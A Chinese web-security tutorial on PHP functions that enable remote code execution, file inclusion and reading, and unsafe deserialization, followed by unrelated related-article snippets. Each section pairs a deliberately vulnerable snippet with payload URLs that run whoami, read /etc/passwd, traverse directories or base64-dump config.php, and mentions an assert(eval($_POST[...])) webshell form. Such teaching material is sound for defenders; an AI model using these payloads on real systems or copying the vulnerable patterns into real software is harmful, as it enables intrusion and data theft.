WEB安全--RCE--RCE的危險函數

一、命令執行

1.1、命令執行原理

<?php
$cmd = $_GET['cmd']; // 直接獲取用戶輸入
system($cmd); // 不安全
?>#payload:
http://example.com/vuln.php?cmd=whoami#結果:
www-data

1.2、危險函數

1.2.1、system()

介紹:

執行外部命令,將命令的輸出直接發送到標準輸出(通常是瀏覽器),并返回命令輸出的最后一行

利用手段:

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
//payload
http://example.com/vuln.php?cmd=ls
//output
index.php
config.php
.htaccess

?

1.2.2、exec()

介紹:

exec() 執行外部命令,將命令的輸出存儲在數組中,返回命令的返回值

利用手段:

<?php
exec($_GET['cmd'], $output);
echo implode("\n", $output);
?>
//payload
http://example.com/vuln.php?cmd=cat /etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.3、shell_exec()

介紹:

shell_exec() 執行外部命令,返回命令輸出的完整字符串(包含換行符)。

利用手段:

<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.4、passthru()

介紹:

passthru() 執行命令,將原始輸出直接傳遞給瀏覽器(適合處理二進制輸出)。

利用手段:

<?php
passthru($_GET['cmd']);
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

?

1.2.5、popen()

介紹:

執行命令,返回進程指針,可讀取/寫入。

利用手段:

<?php
$handle = popen($_GET['cmd'], "r");
echo fread($handle, 4096);
pclose($handle);
?>http://example.com/vuln.php?cmd=whoami

1.2.6、proc_open()

介紹:

功能更強大,可控制進程輸入/輸出/錯誤流。

利用手段:

同上(popen)

1.2.7、backticks (\``)

介紹:

反引號語法 `cmd` 等價于 shell_exec()

利用手段:

shell_exec()相同。

?

二、代碼執行

2.1、代碼執行原理

以eval()為例:

<?php
$code = $_GET['code'];
eval($code);
?>
//payload
http://example.com/vuln.php?code=phpinfo();
//output
phpinfo:
php version ...

2.2、危險函數

2.2.1、eval()

介紹:

將傳入的字符串解析為 PHP 代碼 并執行。如果傳入的內容不受控或未經過濾,可能導致任意代碼執行。

利用手段:

?

2.2.2、assert()

介紹:

assert() 在 PHP 5.2.0 及以上版本可以動態執行表達式(類似 eval),如果表達式的結果為 false,則會報錯。
在 PHP 7.0.0 之前,它能夠直接執行 PHP 代碼,因此 非常危險

補充:assert接收的參數為函數,一般代碼不能直接執行,最好以assert(eval($_POST[123]))這樣的形式。

利用手段:

<?php
$input = $_GET['input'];
assert($input);
?>input=system('whoami');www-data

2.2.3、preg_replace()

介紹:

preg_replace() 是 PHP 的正則表達式替換函數。在 PHP 5.5.0 之前,使用 /e 修飾符 可以將匹配的字符串作為 PHP 代碼執行。

preg_replace(pattern, replacement, subject);

利用手段:

<?php
$input = $_GET['input'];
echo preg_replace('/.*/e', $input, 'test');
?>input=system('whoami')www-data

2.2.4、create_function()

介紹:

create_function() 創建一個匿名函數,但參數和函數體都是字符串,因此極易引發代碼注入漏洞。

create_function('$args', 'return $args + 1;');

利用手段:

詳情見:WEB安全--RCE--RCE的繞過-CSDN博客

?

三、文件包含/讀取

3.1、文件包含

3.1.1、include()

介紹:

包含并執行指定文件,失敗時僅拋出警告。

利用手段:

1、在上傳的圖片中寫入木馬,執行木馬中的php惡意代碼

2、命令執行:

<?php
$filename = $_GET['file'];
include($filename);
?>
//payload
http://example.com/vuln.php?file=/etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.1.2、require()

介紹:

包含并執行指定文件,失敗則中止腳本。

利用手段:

同上。

?

3.2、文件讀取

3.2.1、file_get_contents()

介紹:

讀取文件并將其內容作為字符串返回。

利用手段:

<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.2.2、readfile()

介紹:

讀取文件內容并直接輸出到瀏覽器。

利用手段:

<?php
$file = $_GET['file'];
readfile($file);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
//目錄遍歷
http://example.com/vuln.php?file=../../../../etc/passwd//搭配為協議
http://example.com/vuln.php?file=php://filter/convert.base64-encode/resource=config.php

四、反序列化

4.1、原理

在 PHP 中,序列化(Serialization) 是指將對象或數據結構轉化為字符串格式,方便存儲或傳輸。反序列化(Unserialization) 則是將序列化后的字符串還原為 PHP 對象或數據結構的過程。

而在數據進行反序列化時就會執行。

4.2、函數

4.2.1、serialize()??unserialize()

// 序列化
string serialize(mixed $value)// 反序列化
mixed unserialize(string $data, array $options = [])

4.2.2、漏洞利用

<?php
$data = $_GET['data'];
unserialize($data);
?>http://example.com/vuln.php?data=O:4:"Test":1:{s:4:"prop";s:4:"id";}uid=33(www-data) gid=33(www-data) groups=33(www-data)

?

?

?

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/76157.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/76157.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/76157.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Linux C++ 利用 io_uring 技術批量讀取 tun 文件描述符的數據。

以下是參考的實現代碼&#xff0c;IO_URING 操作必須要進行按頁大小對齊&#xff08;僅在O_DIRECT直接I/O下&#xff09;&#xff0c;不能是非對稱的&#xff0c;一般大多數操作系統頁大小為&#xff1a;4KB。 批量讀取、writev 批量簡寫。 static constexpr int MTU ITap::M…

時序數據庫:InfluxDB命令行操作

學習 InfluxDB 的命令行操作至關重要&#xff0c;它不僅是與數據庫直接交互的工具&#xff0c;也是理解 InfluxDB 核心概念的關鍵途徑。通過命令行&#xff0c;用戶可以高效地執行數據庫管理、數據查詢和插入等任務&#xff0c;深入掌握 InfluxQL 的語法及功能。這對于調試、快…

Bootstrap 表格:高效布局與動態交互的實踐指南

Bootstrap 表格:高效布局與動態交互的實踐指南 引言 Bootstrap 是一個流行的前端框架,它為開發者提供了豐富的組件和工具,使得構建響應式、美觀且功能豐富的網頁變得更加簡單。表格是網頁中常見的元素,用于展示數據。Bootstrap 提供了強大的表格組件,可以幫助開發者輕松…

⑥ ACG-系統管理

上網管理行為是指對員工在工作時間內使用公司網絡的行為進行管理和監督。在企業中&#xff0c;系統管理是實施上網管理行為的重要方式之一。系統管理包括以下幾個方面&#xff1a; 1. 訪問控制&#xff1a;通過設置網絡訪問權限&#xff0c;對員工訪問特定網站或使用特定應用程…

【Docker】Dockerfile 優化工具 hadolint

本文內容均來自個人筆記并重新梳理&#xff0c;如有錯誤歡迎指正&#xff01; 如果對您有幫助&#xff0c;煩請點贊、關注、轉發、訂閱專欄&#xff01; 專欄訂閱入口 | 精選文章 | Kubernetes | Docker | Linux | 羊毛資源 | 工具推薦 | 往期精彩文章 【Docker】&#xff08;全…

接口自動化——初識pytest

縮寫單詞含義.passed通過Ffailed失敗&#xff08;用例執行時報錯&#xff09;Eerror出錯&#xff08;fixture執行報錯&#xff09;sskipped跳過Xxpassed預期外的通過&#xff08;不符合預期&#xff09;xxfailed預期內的失敗&#xff08;符合預期&#xff09; 1.pytest 配置 1…

leetcode日記(100)填充每個節點的下一個右側節點指針

和層序遍歷差不多的思路&#xff0c;將節點儲存在隊列里&#xff0c;一邊取出節點一邊放入取出節點的左右節點&#xff0c;直到隊列空。 /* // Definition for a Node. class Node { public:int val;Node* left;Node* right;Node* next;Node() : val(0), left(NULL), right(NU…

MySQL配置文件my.cnf詳解

目前使用的服務器系統是CentOS8.5 ,針對MySql8.4的配置示例&#xff0c;自己根據實際情況修改。 安裝MySql8.4時&#xff0c;MySql8.4沒有默認的my.cnf,需要用戶根據需要自行配置my.cnf文件&#xff0c;大概可看到下面這樣的參數列表&#xff0c;可能不同版本的mysql參數多少會…

【解決】XCode不支持舊版本的iOS設備

辦法&#xff1a; 手動添加設備支持文件&#xff08;暫時解決方式&#xff09; 如果您無法立即升級 Xcode&#xff0c;也可以通過下載設備支持文件來暫時解決問題。 檢查當前設備的 iOS 版本&#xff1a; 連接設備到 Mac&#xff0c;打開 Xcode 查看提示的 iOS 版本。例如&…

每日c/c++題 備戰藍橋杯(全排列問題)

題目描述 按照字典序輸出自然數 1 到 n 所有不重復的排列&#xff0c;即 n 的全排列&#xff0c;要求所產生的任一數字序列中不允許出現重復的數字。 輸入格式 一個整數 n。 輸出格式 由 1~n 組成的所有不重復的數字序列&#xff0c;每行一個序列。 每個數字保留 5 個場…

注意力蒸餾技術

文章目錄 摘要abstract論文摘要簡介方法預備知識注意力蒸餾損失注意力引導采樣 實驗結論總結參考文獻 摘要 本周閱讀了一篇25年二月份發表于CVPR 的論文《Attention Distillation: A Unified Approach to Visual Characteristics Transfer》,論文開發了Attention Distillation…

flutter android端抓包工具

flutter做的android app&#xff0c;使用fiddler抓不了包&#xff0c;現介紹一款能支持flutter的抓包工具Reqable&#xff0c;使用方法如下&#xff1a; 1、下載電腦端安裝包 下載地址為【https://reqable.com/zh-CN/download/】 2、還是在上述地址下載 android 端apk&#xf…

PyTorch單機多卡訓練(DataParallel)

PyTorch單機多卡訓練 nn.DataParallel 是 PyTorch 中用于多GPU并行訓練的一個模塊&#xff0c;它的主要作用是將一個模型自動拆分到多個GPU上&#xff0c;并行處理輸入數據&#xff0c;從而加速訓練過程。以下是它的核心功能和工作原理&#xff1a; 1、主要作用 數據并行&am…

PyTorch中的Tensor

PyTorch中的Tensor? 是核心數據結構&#xff0c;類似于 NumPy 的多維數組&#xff0c;但具備 GPU 加速和自動求導等深度學習特性。 一、基本概念 ?核心數據結構? Tensor 是存儲和操作數據的基礎單元&#xff0c;支持標量&#xff08;0D&#xff09;、向量&#xff08;1D&am…

基于Python的圖書館信息管理系統研發

標題:基于Python的圖書館信息管理系統研發 內容:1.摘要 在數字化信息快速發展的背景下&#xff0c;傳統圖書館管理方式效率低下&#xff0c;難以滿足日益增長的信息管理需求。本研究旨在研發一款基于Python的圖書館信息管理系統&#xff0c;以提高圖書館信息管理的效率和準確性…

RCE復現

1.過濾flag <?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);代碼審計過濾了"flag"關鍵詞&#xff0c;但限制較弱&#xff0c;容易繞過 ?csystem("ls&…

FPGA_YOLO(四) 部署yolo HLS和Verilog 分別干什么

首先,YOLO作為深度學習模型,主要包括卷積層、池化層、全連接層等。其中,卷積層占據了大部分計算量,尤其適合在FPGA上進行并行加速。而像激活函數(如ReLU)和池化層相對簡單,可能更容易用HLS實現。FPGA的優勢在于并行處理和定制化硬件加速,因此在處理這些計算密集型任務時…

自動化發布工具CI/CD實踐Jenkins介紹!

1. 認識Jenkins 1.1 Jenkins是什么&#xff1f; Jenkins 是一個開源的自動化服務器&#xff0c;主要用于持續集成和持續部署&#xff08;CI/CD&#xff09;。 它由Java編寫&#xff0c;因此它可以在Windows、Linux和macOS等大多數操作系統上運行。 Jenkins 提供了一個易于使用…

【愚公系列】《高效使用DeepSeek》039-政務工作輔助

??【技術大咖愚公搬代碼:全棧專家的成長之路,你關注的寶藏博主在這里!】?? ??開發者圈持續輸出高質量干貨的"愚公精神"踐行者——全網百萬開發者都在追更的頂級技術博主! ?? 江湖人稱"愚公搬代碼",用七年如一日的精神深耕技術領域,以"…

深度學習篇---模型訓練評估參數

文章目錄 前言一、Precision&#xff08;精確率&#xff09;1.1定義1.2意義1.3數值接近11.4數值再0.5左右1.5數值接近0 二、Recall&#xff08;召回率&#xff09;2.1定義2.2意義2.3數值接近12.4數值在0.5左右2.5數值接近0 三、Accuracy&#xff08;準確率&#xff09;3.1定義3…